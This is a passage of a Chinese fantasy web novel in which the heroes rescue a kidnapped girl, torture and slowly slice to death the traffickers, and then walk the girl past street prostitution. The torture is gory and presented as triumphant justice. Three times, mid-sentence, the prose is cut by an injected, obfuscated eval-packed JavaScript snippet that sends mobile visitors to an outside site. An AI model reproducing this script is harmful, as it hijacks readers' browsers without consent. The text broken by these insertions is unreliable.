看到男子好不容易站起了身,却仍旧被少女灵魂们撕咬不止,走路都走不稳,乔天璇只得收回了一部分借给少女灵魂们的灵力,让她们对男子撕咬的伤害减少了大半,使得男子可以相对来说比较稳当地朝前迈步,但依然让男子处在被少女灵魂不断撕咬的痛苦当中。 “快点!走大步些!”乔天璇在男子身后不耐烦地催促着。 “好、好……”男子颤抖地回复着,跌跌撞撞往前尽量快步走。 一行人跟着男子一路来到了一个死胡同中,见到这个死胡同尽头的一旁有一道铁门。 男子颤抖着手掏出了钥匙,似是还有些犹豫要不要开门。 乔天璇猛然借出许多灵力给了正在撕咬男子的少女灵魂们。 顿时,方才撕咬过后只能留下牙印的少女灵魂们此刻已然能够把男子的皮肉给血淋淋地撕咬下来。 男子疼得忍不住趴在了铁门上。 “开门。”乔天璇命令式的语气在男子身后响起。 男子慌忙用钥匙打开了铁门,一开门后就无力地倒在了地上,浑身抽搐不止。 少女灵魂们继续趴在男子的身上疯狂撕咬。 趴在地上的男子已然疼得唤不出声来。 屋内的光线很暗,整个环境像极了牢房。虽然没有牢笼,但地上那个口中被塞了抹布,身子被麻绳捆着的少女在九个男子的监视下可谓是插翅难逃。 看来他们一大早就又成功地拐了一个少女回来。 “放了她!”花蕊看着地上那奄奄一息的少女,气愤极了。 这帮人贩子的领头斜眼瞅着花蕊,满脸不屑地“啊?”了一声。 花蕊没声好气道:“啊什么啊?你们的手难道都断了吗?连给人松绑都不会?” “……” 祝源胆战心惊地看着花蕊,完全猜不到她说出的下一句话又会是什么。 屋内的九个男子各个都给人感觉邋里邋遢的,其中的四个男子看起来像是才刚睡醒,睡眼惺忪,打着哈欠。 乔天璇注意到了叶天芯之前提起过的那个身高将近八尺,肤色略黑,一头黑色干草似的头发披散着,戴了一个遮着一只眼的黑眼罩的男人。 正是此人拐卖了叶天芯! 叶天芯也注意到了此人,她眼中的愤恨当即就如烈火般燃烧了起来。 姜景和扫了一眼这些男人,忽地盯着其中几人惊诧道:“你们几个不就是在灯会那会儿在街边喝酒说胡话的人吗?你们和人贩子是……一伙儿的?!” 屋内的人贩子们见到突然闯进门来的几人,又见乔天璇、花蕊、叶天芯三个站在前面的少女,逐渐都反应过来发生了什么事情。 人贩子领头得瑟一笑,兴奋道:“真是多谢几位义士护送了三个姑娘过来,不过你们也别想活着回去了!” 说完,人贩子领头便抄起桌上的砍刀向陈渊龙他们砍来。 陈渊龙二话不说,立马拔出佩剑与人贩子领头兵刃相见。 刀光剑影中,陈渊龙与人贩子领头打得不可开交。 “铮铮当当”的兵刃声充斥着屋内的每一处角落。 屋内本就昏暗,两人交起手来更是令旁观者感到害怕。其一是怕由于太暗了看不清,最后演变成两人凭着感觉互相乱砍,结果两败俱伤。其二是怕自己被误伤。 那几个在灯会那会儿在街边喝酒说胡话的人慌张道:“我们只是负责引开人们的注意力,没有拐卖人啊!” “原来如此,怪不得你们会在街边喝酒说胡话。你们负责把大人的注意力引开,然后好让人贩子趁机拐走少女!”乔天璇终于彻底明白了姜景和为何在灯会上会看到他们这些故作癫狂的人,原来他们是在协助人贩子拐走少女! “那你们也该死!”花蕊死死地瞪着这几个人。 “而且谁知道你们是不是真的没有拐卖过人?就算没有,但你们协助拐卖,依旧罪不可恕!”乔天璇一字一句地说着,就像是用沉重的字句砸在这些人的脑袋上。 “我看你们分明就是恶心的人贩子!要不然你们怎么平日里也和人贩子住在一块儿?也就只有人贩子才会和人贩子混在一起!”花蕊怒气冲天,说得理直气壮。 听到花蕊如此肯定的话语,这几人先是闷闷地笑了起来,随后是嚣张至极的哈哈大笑。 乔天璇心中一沉,暗怒道:“看来我和玉心都没有说错,你们一定也拐卖过少女!” 祝源被那几个笑得可怕的人吓了一跳,他连忙一把拉过花蕊,躲到了洛侠的身后,惊恐道:“灭妖仙人,救命!” “都是蝼蚁,不足为惧。”洛侠抽出惜今,几乎一剑就让一个人贩子倒下。 “师父!留活口上刑!”乔天璇赶忙提醒。 “留了,没死。”洛侠又移至一个人贩子身前,一剑将其砍倒,却也离开了祝源身前。 祝源不禁浑身一抖。 花蕊无奈地看了身旁的祝源一眼,叹息道:“书呆子,还是让本姑娘来保护你吧。” 祝源慌张道:“可是阿蕊……” “呵啊!”花蕊一脚将一个朝她扑来的人贩子踹飞到了墙上,发出“咚!”的一声巨响,撞得墙微微一震。 “你说什么?”花蕊看向了祝源。 “没、没什么。”祝源麻木地看着被花蕊踹得陷在墙上的人,再看向花蕊时,他眼中满是对花蕊的崇拜。 妇人还从未见过眼前这样的场景,赶忙拉紧了自己女儿的手。 可人贩子见到这母女俩却是更加兴奋了,拿着砍刀直冲叶天芯而去。 姜景和身为世家大公子,自然也会一些剑法。他下意识将跑到了叶天芯面前的人贩子给一剑砍翻在地,顺便削掉了那人的右臂。 “哼,该死的畜生,真该死!”叶天芯一脚踩在了那人的胸口上。 妇人则朝着那人狠狠啐了一口唾沫。 被叶天芯踩着的不是别人,正是两个月前拐卖了叶天璇的独眼男子。 独眼男子现在不单止独眼,还独臂了。 他疼得呲牙咧嘴,恶狠狠地盯着叶天芯,怒道:“小姑娘,你迟早是被卖掉的命!” 话音刚落,叶天芯便用踩着他的脚往他的胯间猛地一踹。 独眼男子登时疼得直翻白眼,表情都扭曲了起来,一句话也说不出了。 姜景和被叶天芯猛踹胯间的动作给吓了一跳,小心翼翼地问道:“你是被他们其中的谁拐卖的?” “就是被你断臂了的这个畜生。”叶天芯居高临下地看着自己脚下踩着的浑身抽搐不止的独眼男子。 “就是他啊,看我再给他多来几剑!” 说着,姜景和又给独眼男子的身上多戳了几个窟窿。 “还不够,我要他变成马蜂窝。”叶天芯语气冰冷,杀气腾腾。 “好,马蜂窝。”姜景和继续一剑一剑刺着独眼男子。 为了不让独眼男子就这么咽气了,姜景和都是避开要害刺的。 独眼男子被剑刺得清醒过来,嘶哑尖叫着喊疼。 叶天芯走到了独眼男子的脸旁,一脚踩着他剩下的那条手臂的手掌,用力碾了碾。 独眼男子顿时惨叫得更加难听了。 叶天芯凉飕飕道:“还记得我吗?畜生。” 独眼男子看向了居高临下藐视着自己的叶天芯,颤抖着摇了摇头。 姜景和暂时停下了手,不再用剑刺独眼男子了。 叶天芯取下面纱,定定地看着独眼男子,道:“我是两个月前被你拐卖过的人。” 独眼男子依旧摇头,艰难道:“人太多了,我记不得了。” “……” 想必这独眼男子拐卖的少女多得数不胜数,他根本就不会记得其中的谁。 叶天芯猛地看向了姜景和,眼中含着不甘的泪光,语气痛苦又愤怒:“夫君,拖他到青楼前碎尸万段!” 姜景和当即一愣。 他被叶天芯突如其来的一声“夫君”给惊到了。 “好!”姜景和也不知是被叶天芯的那声“夫君”给唤高兴了,还是他自己也已经砍兴奋了。他竟是一把就拎起了独眼男子的一条腿,直接把独眼男子往外面的大街上拖去。 叶天芯和妇人跟在姜景和的身旁,一路冷眼看着被姜景和拖行在地,口中惨嚎声、求饶声不止的独眼男子。 与此同时,屋内的其余人贩子也通通被洛侠砍倒在地。 人贩子领头则被陈渊龙削得只剩下了一条腿,倒在地上撕心裂肺地惨叫。 乔天璇走到了人贩子领头跟前,冷笑道:“怎么样?被砍得爽吗?” 人贩子领头疼得说不出话来。 “不说话呀?那我就默认你觉得很爽了。”乔天璇踢了一脚人贩子领头的脸,对陈渊龙道:“太子殿下,为民除害,把他给凌迟了吧。” “嗯。”陈渊龙剑芒一闪,挑开了人贩子领头的衣服,开始一片一片剐起了人贩子领头身上的肉。 “其余的人贩子也要凌迟吗?”洛侠望向了乔天璇。 乔天璇道:“当然了师父,这些人都不得好死!” “好。”洛侠挨个挑开了这些人贩子了衣服,先是砍断了这些人贩子的双手,又在他们的额头上贴了一张符。 随后,洛侠在人贩子的阵阵惨叫声中从怀里掏出一张符,开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025615|194382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 始用灵力一点一点碎掉这张符。 乔天璇嘴角一扬,她知道这些人贩子接下来会迎来痛不欲生的惩罚。 洛侠用的这一招,乔天璇在五岁那年就跟被她所救的修士学过了。 被贴到几个人贩子额头上的符是子符,洛侠手中的符是主符。若是用灵力一点一点摧毁主符,那么所有的子符会同时被一点一点摧毁掉,包括被贴着子符的人。 而持符人要是想将其中的一张子符转为主符,再通过被转成主符的那张符来控制别的子符,以及从主符变成了子符的符,那么就只有灵师才能做得到了。因为只有灵师独特的灵气才能让主符对子符的操控权游走到其中一张子符上,以此来让子符变成新的主符,让主符变成新的子符。这一点洛侠做不到,但乔天璇可以。 随着洛侠用灵力一点一点碎掉手中的主符,贴了子符的人贩子们身上的皮肉也一片一片地掉了下来,从伤口中喷涌出的鲜血溅了一地。 他们失去了双臂,没办法扯掉额头上贴着的符,只能嘶哑地惨嚎着,清晰地感知着自己的身子被一点一点撕碎的痛苦。 乔天璇来到了口中被塞了抹布,身子被麻绳捆着的少女身旁,先是帮少女把口中的抹布给取了出来,随后开始给少女解绑。 花蕊也来赶过来帮忙。 少女口中的抹布被取走,又见有人来给自己解绑了,顿时泪如雨下。 花蕊安慰道:“好了好了不哭了,我们马上就把你身上的麻绳给全部解开了。” “呜呜呜呜呜……”少女哭着点了点头,感激道:“谢谢你们,太谢谢你们了,我还以为我这辈子就要这么完蛋了……” “啊啊啊啊啊啊啊啊!嗷啊啊啊啊啊啊啊……” 旁边不断传来人贩子们痛苦万分的惨叫声,难听刺耳。 祝源忍不住捂住了自己的双耳。 “现在要完蛋了的是拐你的人贩子了。”花蕊对着被拐少女轻松一笑。 乔天璇疑惑道:“你是怎么被他们给拐了的啊?” 被拐少女道:“我清早刚到柳叶镇这儿,肚子饿了,就从早点铺子买了一根玉米吃。我在巷子里边走边吃,吃得差不多了时,突然就被一个人用布塞了我的嘴巴,然后我又被一个黑袋子套了头。接着、接着我就被拐到这里来了呜呜呜呜呜……” 花蕊道:“那你和叶姑娘被拐的遭遇差不多啊。” “看来巷子里遗落的那根玉米就是你的了。”乔天璇恍然大悟。 “你们看到我被拐时掉落在巷子里的玉米了?”被拐少女有些吃惊。 乔天璇道:“看到了,剩下的玉米被两只猫给吃了。” “猫?好吧。”被拐少女略显难过。 “你很饿吗?”花蕊已经快解开捆着被拐少女下半身的麻绳了。 被拐少女道:“当然饿了,我从衮州武阳那边赶来,一路奔波,日夜兼程,不饿才怪。” “武阳?那么远?你大老远从武阳跑来琅琊干嘛?还日夜兼程?是有什么很急的事情吗?”乔天璇把捆着被拐少女上半身的麻绳都给解开了。 “急,很急。”被拐少女眼中的泪水像是被急得掉出来的。 “什么事?说说看。”花蕊看了看乔天璇,对被拐少女道:“我和她可是三侠行客中的玉心女侠和云天女侠,也许我们可以帮得到你呢?” “三侠行客?!”被拐少女的双眼登时亮了:“怪不得我会被救!原来你们就是大名鼎鼎的三侠行客!” “没错。”花蕊骄傲地点了点头。 “那我长话短说吧。”被拐少女叹了一口气。 据被拐少女自述,她是武阳尤氏旁支里一个不起眼的妾所生的第三个女儿,也是幺女。今年她已经十九了,再过一年,她就会因为家族诅咒而死。 这个诅咒让武阳尤氏全族人都活不过二十。 而被拐少女的两个姐姐都因为这个家族诅咒先后死去了。 被拐少女想在她还活着的最后一年里到琅琊的柳叶镇看看这里传说中堪比合欢宗的景象,这样她才能不带遗憾地离开这个世界。 于是,本就极度不起眼的她便从府中出逃了,并且日夜兼程一路来到了此地。 “……” 乔天璇一时不知该说些什么才好。 柳叶镇街边时不时就能看到一个妓女在揽客的场景历历在目,乔天璇倒是也能理解这个将死的少女奇特的好奇心。 毕竟人难免会对自己只听说过却没有亲眼见过的东西感到好奇。 现在被拐少女已经获救,她要是真想看这些场景的话,那等晚一点的时候直接去大街上随便走走就能看得到了。 41. 三花逐光(一) “全族人都活不过二十,好可怕的家族诅咒……”花蕊不禁倒吸了一口凉气。 “其实我已经能够坦然接受这个家族诅咒了。”被拐少女满脸无奈。 “对了,你来自武阳尤氏,那你叫什么名字?”乔天璇忽然想到曾经跟太子伴读的世家长子中有一个叫尤远生的人,想来他如今也有十九了。 被拐少女犹豫了一下,害羞道:“尤、尤三花。” “尤三花?”乔天璇试着唤了一下被拐少女的名字。 尤三花道:“我排行老三,又是幺妹,出生那日,我娘房间外种的蝴蝶花开了,娘就给我起名为尤三花了。” 花蕊道:“那我就叫你三花姐姐吧。” “蝴蝶花……那你岂不是……”乔天璇突然意识到现在正是蝴蝶花开的时节。 “是啊,所以说我很着急嘛。”尤三花释然道:“我的生辰马上就要到了,过了生辰之后我就二十了。到了二十,我就会因为家族诅咒而死。” 看着尤三花无所谓的表情,乔天璇心中很不是滋味。 一旁还在不断传来人贩子们被凌迟时发出的可怕惨叫声,尤三花已经被乔天璇和花蕊彻底松了绑,终于可以站起身来了。 “咦?门口那里是什么?”尤三花的注意力忽然转向了铁门的方向。 闻言,乔天璇一下子想起了最开始遇到的那个想拐走花蕊的人贩子,当即转头看了过去。 此时,那人已经被无数的少女灵魂给活生生咬碎了,只剩下一滩血肉模糊的残骸。 撕咬他的少女灵魂们早已心满意足地散去,残骸的上方空空荡荡。 “呀,已经死成这样了啊,我差点儿都把他给忘了。”乔天璇转头看向了花蕊,撕下她右臂上已经失效了的符,用灵火将其烧尽了。 “那是带我们来到这里的人贩子,还是我当了诱饵才逮到他的。”花蕊也望向了铁门处的那一滩残骸。 尤三花喃喃道:“我怎么突然感觉脑袋有点晕……” 乔天璇连忙转头看向了尤三花,见她一手扶着额,眼神有些迷离,立马回想起了叶天芯说过她也被人贩子往嘴里塞过抹布,之后就被迷晕了。 “人贩子塞你嘴里的抹布上有迷药,药效现在开始发作了。”乔天璇赶紧扶稳了尤三花。 花蕊也在另一边扶住了尤三花,道:“等会儿我们扶三花姐姐回姜府去休息吧?” “好。”乔天璇点了点头,望向了前方的凌迟画面。 眼前的洛侠和陈渊龙就像是在比谁凌迟的手法更狠似的,屋内的惨叫声不绝于耳。 祝源瑟瑟发抖地靠到了花蕊身旁,闭眼不看眼前的画面。 “书呆子,胆小鬼。”花蕊瞅了一眼紧紧靠着自己的祝源,嫌弃又无奈地笑了笑。 凌迟的时间并没有乔天璇想象中的长。这些人贩子被活剐了约莫半个时辰后就相继死去了,人贩子领头甚至还是最先死去的。 “他们都被痛死了?”花蕊有些失望。 洛侠道:“也许是失血过多而死。” “嗯,专门给犯人凌迟的刽子手都有他们的手法,可以保证犯人三天三夜不死,我们没有那种手法。”陈渊龙在人贩子领头死后已经走到了乔天璇的身旁。 “讲究。”洛侠用灵力彻底粉碎了手中的符,也走向了乔天璇。 乔天璇道:“我们先离开这儿吧。” “对,先离开,不能让三花姐姐在这儿昏迷不醒的。”花蕊一下子就把尤三花背到了自己背上。 “好。”洛侠转身往外走去。 乔天璇几人连忙跟上。 祝源道:“阿蕊,要不我来背三花姐姐吧?” “不用,走好你的路就行,书呆子。”花蕊看都不看祝源一眼。 “哦……行。”祝源知道自己再问也不会有什么其它结果,便没再追问了。 这回陈渊龙终于走在了乔天璇的身旁,而洛侠在最前面带路。 乔天璇能明显感觉到身旁的陈渊龙有点紧张,可她偏偏故作没发现陈渊龙的紧张,还走得比平常要快,十几步后就赶到了洛侠旁边,道:“师父,你走得好急啊。” 陈渊龙也赶了上来,见乔天璇跟洛侠说话,脸上的表情顿时不好看了许多。 洛侠道:“那为师走慢一些。” 身后的花蕊道:“没事没事,我们走快一点儿的话就能早些回到姜府,三花姐姐也能早些躺着休息!” 乔天璇道:“那还是走快些吧。” “好。”洛侠又加快了脚步。 几人快步出了胡同,拐出巷子来到了大街上,正打算往姜府的方向走,却先听到了行人讨论叶天芯与姜景和在青楼前碎尸拐卖叶天芯的人贩子的事情。 “快去青楼那儿看热闹!姜家大公子正在青楼前碎尸人贩子呢!” “真的吗?姜家大公子怎么突然会碎尸人贩子啊?” “还不是因为那个人贩子把她的女人给拐卖进了青楼?这事儿搁哪个男人能忍啊?” “哎呀你说反了,那个女人是先被人贩子拐卖进了青楼,后来她和姜家大公子一夜春宵看对眼了,这才被姜家大公子给赎出来的。” “是嘛?到底是怎么回事啊?” “这你都不知道?姜家大公子昨日花了一百两黄金把叶甜馨那青楼女子给赎了出来,让人八抬大轿抬回了姜府。今日他又带着叶甜馨把当初将叶甜馨拐卖进青楼的人贩子给拖到青楼前碎尸,搞得青楼的老鸨都被吓晕过去了。” “看来这姜家大公子是真的很喜欢叶甜馨啊。” “有这样的男人当自己的夫君,真是令人羡慕。” 听着行人的议论声,乔天璇心中不禁暗暗感叹人果然很容易只看表面的东西就能自我想象出许多不存在的事情,殊不知姜景和与叶天芯之间其实连熟悉都算不上,一切都不过是凑巧罢了。 “姜大公子还没把那人贩子给凌迟死啊?”花蕊忍不住问了一嘴。 乔天璇猜测道:“也许那个人贩子比较难死吧。” 花蕊道:“难死也好,可以让那畜生受多点罪。” 也不知是不是昨日姜景和让人八抬大轿叶天芯回姜府的阵仗太大了些,搞得整个柳叶镇几乎人尽皆知。街上的人在讨论姜景和带叶天芯一起在青楼前凌迟人贩子时都不忘感叹姜景和居然会让人八抬大轿一个青楼女子回姜府。 对于这两件事,议论的人们最多的感触是羡慕。男人们羡慕姜景的财力,女人们除了羡慕姜景和的财力之外还不忘羡慕叶天芯。 许多男人议论到最后总是会感叹为何自己不是姜景和。 “咦?怎么都没听到大家提起叶姑娘的母亲?”花蕊有些疑惑。 “或许叶姑娘的母亲站在围观的人群里了?”乔天璇其实并不是很肯定自己的猜想。 祝源回想着方才看到的凌迟画面,眉头微蹙,强忍着不适道:“凌迟这么恶心的场面,我猜叶姑娘的母亲大概是不想离得太近。” “有道理,不过还是等他们也回了姜府之后再问吧。”花蕊把背上的尤三花往上颠了颠,好背得更稳当一些。 一行人一路听着街上人们的议论声回到了姜府。 姜府的守门人也知这一行人中有个人是太子殿下,连忙开门将几人迎进了府中。 来到了客人住的地方后,几人先是把尤三花安置到了一间空房中,随后便围在了榻边,一起守着早已陷入昏睡中的尤三花。 “真可怜,三花姐姐的二十岁生辰就是她的死期。”花蕊似是在自言自语一般:“话说……他们家族的人若是活到二十就会死的话,那他们的家主岂不是顶天了也才十九岁?” “太子殿下,你知道武阳尤氏的情况吗?”乔天璇看向了陈渊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025616|194382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 龙。 陈渊龙摇了摇头,道:“等尤三花醒了之后问问她。” “没想到连太子殿下都不知道,唉……”乔天璇故作失望地叹息着。 陈渊龙看了一眼满脸失望的乔天璇,对着榻上昏睡的尤三花道:“我出宫寻妃已久,一直以来收集的都是乔天璇的消息,七大世家的事情自然有很多都不知。” 忽然从陈渊龙的口中听到“乔天璇”这个名字,就在陈渊龙身旁的乔天璇本人忍不住心中一惊,不禁立马疯狂暗示自己现在是“洛天璇”,而并非陈渊龙所寻的那个“乔天璇”。 乔天璇身旁另一边的洛侠转头看了一眼陈渊龙,道:“太子殿下要不还是先去专心寻妃吧?” 陈渊龙也转过头,他的目光先是落到了乔天璇的身上,随后又落到了洛侠的身上,道:“多谢洛兄的提议。” 但陈渊龙仅仅是感谢了这么一句,便又看向了榻上昏睡的尤三花,并未离开。 洛侠见陈渊龙并未有所行动,也没催促或激将陈渊龙,只是令人不易察觉地靠近了乔天璇一些。 突然,门外传来两声叩门的声音。 “谁?”陈渊龙头也不回地问。 “我们是来送早饭的。”门外响起了一个丫鬟的声音。 陈渊龙道:“把早饭全都放到这扇门旁,我们都在这间房里。” 丫鬟道:“是。” 随后,屋内几人听到门外的丫鬟去叫别的丫鬟把早饭都放到了房门旁。 待到丫鬟都离开了,祝源赶忙去开了门,见到门外一旁一共摆着六份早饭。 花蕊跑出了门,她从其中一份早饭中拿了一个肉包子,直接靠在门外走廊的一根柱子上吃了起来。 乔天璇早就饿了,她从花蕊旁的那份早饭中端起一碗肉粥后走到了花蕊身旁,一勺一勺慢悠悠地喝着。 见状,洛侠和祝源也这般随意地吃了起来。 陈渊龙看到乔天璇喝粥,他也喝粥。 等到乔天璇喝完了粥,去拿烧饼吃的时候,陈渊龙看在眼里,他也在喝完粥后去拿了烧饼来吃。 乔天璇表面上懒得注意陈渊龙,但她其实一直有注意陈渊龙的动作。在发现陈渊龙跟着自己有样学样之后,心中不禁感到好笑。 吃完了早饭后,妇人、叶天芯、姜景和也回了来。 花蕊兴奋道:“回来了!” 乔天璇好奇道:“怎么样?凌迟得如何了?” 姜景和道:“那个畜生才坚持了不到一个时辰就被疼死了,真是扫兴。” 花蕊道:“没事,我们凌迟其他人贩子时他们也是很快就被疼死了。毕竟我们比不上专门凌迟犯人的刽子手的手法。” “说得也是。”姜景和看向了身旁的叶天芯,他的眼神比起之前看叶天芯时要柔和了许多。 花蕊走到了妇人身旁,好奇道:“夫人,凌迟人贩子的时候你在看着吗?” 妇人道:“我在围观的人群里看着的。” “我就说嘛!”乔天璇的猜想得到了证实。 “呀,夫人还没吃早饭呢,先去吃早饭!”花蕊将妇人拉到了放着早饭的地方。 六份早饭现在还剩下一份没被吃,而这一份正是妇人的。 妇人蹲下身拿起了一个包子,转身望向了叶天芯。 姜景和连忙对妇人道:“岳母不必担心!我这就带天芯一起去吃早饭!” 说罢,姜景和紧拉着叶天芯的手离了去。 “哦?姜大公子知道叶姑娘的原名叫叶天芯了啊?”乔天璇有些意外。 妇人仍旧望着姜景和拉着叶天芯的手离开的方向,回忆道:“回来的路上,我们聊了很多事情,姜大公子也知道了我闺女的原名。” “原来如此。”乔天璇安心了不少。 也许经过此事之后,姜景和会对叶天芯上心许多吧? 42. 三花逐光(二) 尤三花再醒来时已经到了傍晚。 一直守在榻边的乔天璇几人见到尤三花坐起了身,顿时都来了精神。 花蕊一下子凑到了尤三花的面前,好奇道:“三花姐姐,你们家族的人若是都活不过二十,那你们的家主一直都是十几岁的年轻人吗?” 尤三花看着近在咫尺,满眼天真无邪的花蕊,先是一愣,随后舒了一口气,道:“是啊,自从受到诅咒以来,我们武阳尤氏的所有家主都是十几岁的年轻男子。” 花蕊试探道:“那……你们家族的人应该都很早成亲吧?” 尤三花摇了摇头,道:“男女有别。为了不灭族,我们家族中的男子若是无特殊情况,最晚必须得在十二岁前娶妻。妻子往往会比丈夫大三到六岁,生下的孩子若是男孩,到了十五岁便可参与到家主之位的争夺当中。若是女孩,就会因其命短和其生下的孩子依旧会是活不过二十的短命鬼而嫁不出去,只能在尤府中度过短暂且无聊的一生。” “怪不得。”乔天璇最初还在奇怪尤三花身为世家之女,为何都已经十九了仍未嫁人,原来是因为家族的短命诅咒,根本就嫁不出去。 花蕊疑惑道:“难道嫁入尤府的女子注定会守寡吗?” “不,不会守寡。”尤三花无奈道:“为了不灭族,尤府有两条特别的规矩。其中一条规矩是夫君过世的尤家寡妇可跟夫君未过世且未婚的弟弟同房,另一条规矩是夫君过世的尤家寡妇可跟家族中别的夫人与尤家男子生下的儿子同房。” “那岂不是大嫂可以跟侄子同房?”乔天璇惊得瞪圆了双眼。 尤三花平静道:“可以,我娘就是跟她侄子生下的我。因为命短,我的亲爹早就死了,现在我娘已经又跟另一个侄子在一起了。对于入了武阳尤氏的女子来说,如果长寿,一辈子可以跟很多的尤家少年同房。” “……” 房中一片寂静,只有窗外飘来的沙沙风声。 许久之后,花蕊才小心翼翼道:“三花姐姐,你的生辰是在什么时候?” “哦,你说我的死期啊?”尤三花苦涩一笑,道:“明天,或者说,今晚子时过后,我随时都可能死去。” “什么?!生辰当天随时会死吗?!”花蕊满脸不可思议。 尤三花淡定道:“嗯,毕竟我是亲眼见过的。我大姐生辰当天刚过子时就死了,我二姐则是在生辰当天的午时才死。” “……” 房中再次寂静,这次连风声都没有,整个世界像是静止了一般。 窗外漫天晚霞愈发绚烂,在黑夜来临之前,它们尽情地占领着整片天空。 一道金色霞光忽地从窗户洒落进了房间中,正好照在尤三花的榻尾。 尤三花看着榻尾上突如其来铺散着的金色霞光,一只手微微抬起,似是想要去触碰那片金光。 “走!我们现在就出去外面街上看看你想看的柳叶镇特有的‘合欢宗’场景吧!”乔天璇一把握住了尤三花似是想要去触碰榻尾那片金光的手臂。 尤三花一怔,当即回过神来,欢喜道:“好啊!走!” 几人陪着尤三花出了房间,出了院子,一路来到了傍晚的大街上。 傍晚的柳叶镇十分热闹,处处人头攒动,不少铺子已经把灯笼给点了起来,准备做夜市的生意。 乔天璇和花蕊一左一右伴着尤三花,洛侠和祝源分别跟在乔天璇和花蕊身旁。陈渊龙跟在乔天璇身后,妇人跟在尤三花身后。 一行人走了没一会儿就看到了街道两边那些揽客的妓女。 “看,这就是你从武阳大老远跑来这儿想看的场景。”乔天璇趁着一个揽客的妓女没有注意到自己,伸手给尤三花指了指。 尤三花望向了揽客妓女的方向,正好见到那一袭轻薄衣衫的妓女与一个看起来无所事事的瘦高男子看对了眼。两人互相交流了几句话后,妓女便拉着男子转身拐进了一条小巷子中。 街道上来来往往的行人挡住了尤三花看向小巷子入口处的视线,等到行人走过之后,小巷子的入口已然不见妓女和男子的身影。 再往前方的街道放眼望去,尤三花又看到了好几个类似的妓女在路边揽客。 她们各有各的漂亮,全都十分娇媚。在男人们看她们的同时,她们也在观察着看她们的男人。若是哪个看着她们的男人一眼瞧去就知道肯定很有钱,她们立马就会见钱眼开,尤其主动热情地投怀送抱,在将其成功勾引之后带到自己办事的地方。 “……亲眼看到了,我亲眼看到了!”尤三花按耐不住内心的激动,小声颤抖道:“合欢宗……这就是传闻中堪比合欢宗的场景吗?!” 看着尤三花一脸兴奋的表情和激动得发抖、战栗的身子,乔天璇心中一时间五味杂陈。 武阳尤氏的世家小姐们一辈子默默地待在尤府中,日复一日地过着同样的生活,日子平淡如水。她们获得父爱的时间不长,甚至完全没有获得过。又由于命短,没有一个媒人会将深闺中的她们介绍给任何同龄男子。可她们族中的兄弟却要被迫早早娶妻,且女方全都比她们的兄弟年长,永远都比她们的兄弟高出来一大截,年纪相差小的像是姐弟,年纪相差大的像是母子,丝毫没有正常夫妻的样子。 早早的就没了父亲,从生到死都不会像族中的兄弟那样成婚,没有伴侣,对家族毫无用处,由此可能也不会被重视,过得得过且过,除了等待自己的死亡之日外再无任何盼头。像尤三花这样性子的女子生在了武阳尤氏,对她来说可谓是一种残酷的折磨。 此刻,尤三花在生命中最后的一段时间里看到了对她平淡的一生来说最为刺激的画面。 从前她对此只是听说,并对此生出了极强的好奇心。而当她带着极高的期待之情亲眼看到了她从前所好奇的场景,再加上这场景完全没有辜负她的期待,她的内心所感完全就不受她所能控制的震惊和兴奋。 一行人继续往前走着,尤三花的目光像是粘上了路边揽客的妓女一般。特别是当她看到一个妓女与一个样貌生得还算不错的青壮年男嫖客交谈时,她就仿佛是看得着了迷似的,眼神发痴,嘴角都无意识地扬了起来。 大家陪着尤三花慢慢地往前走着,和她一起看着路边发生的一切。 这里完全没有十二岁以及十二岁以下的男孩会出来找妓女。妓女身旁无论是什么样的男人,都会是青壮年男人或者中年男人。而妓女身旁的男人若是越高越壮,尤三花投去的目光就会越兴奋。 她终于看到了一个女人不必同时当男人的妻子又当男人的姐姐还当男人的母亲的地方,女人总算可以在刚与男人相识起就能小鸟依人地躺在男人的怀中被打横抱着,这样的场景在尤府简直就是天方夜谭的事情。即便这里这些男人女人的关系是男嫖客与妓女,欢愉与金钱挂钩。 “杨琥?绾绾?”花蕊突然看向了街边的一角。 乔天璇听到这两个名字后心中一惊,连忙顺着花蕊的目光望了过去。 只见杨琥和绾绾正推着他们卖糖人的车子回家去。 乔天璇根本没想到还能在无意间碰到他们,忍不住道:“好巧!” 听到了花蕊唤他们和乔天璇惊讶的声音,杨琥和绾绾转头看向了花蕊和乔天璇。 “三侠行客?!”绾绾双眼顿时冒出了兴奋的光。 “三侠行客!”杨琥十分激动。 尤三花的目光被吸引了过去,一下子就注意到了车上的糖人架子上还插着一个没卖出去的糖人。 花蕊道:“三花姐姐?你想不想吃糖人?” “那个东西可以吃?”尤三花第一次见到糖人这种东西,还以为那是一种观赏人偶。 “当然可以吃呀!”花蕊一把拉起尤三花的手,快步走到了卖糖人的车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025617|194382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子旁。 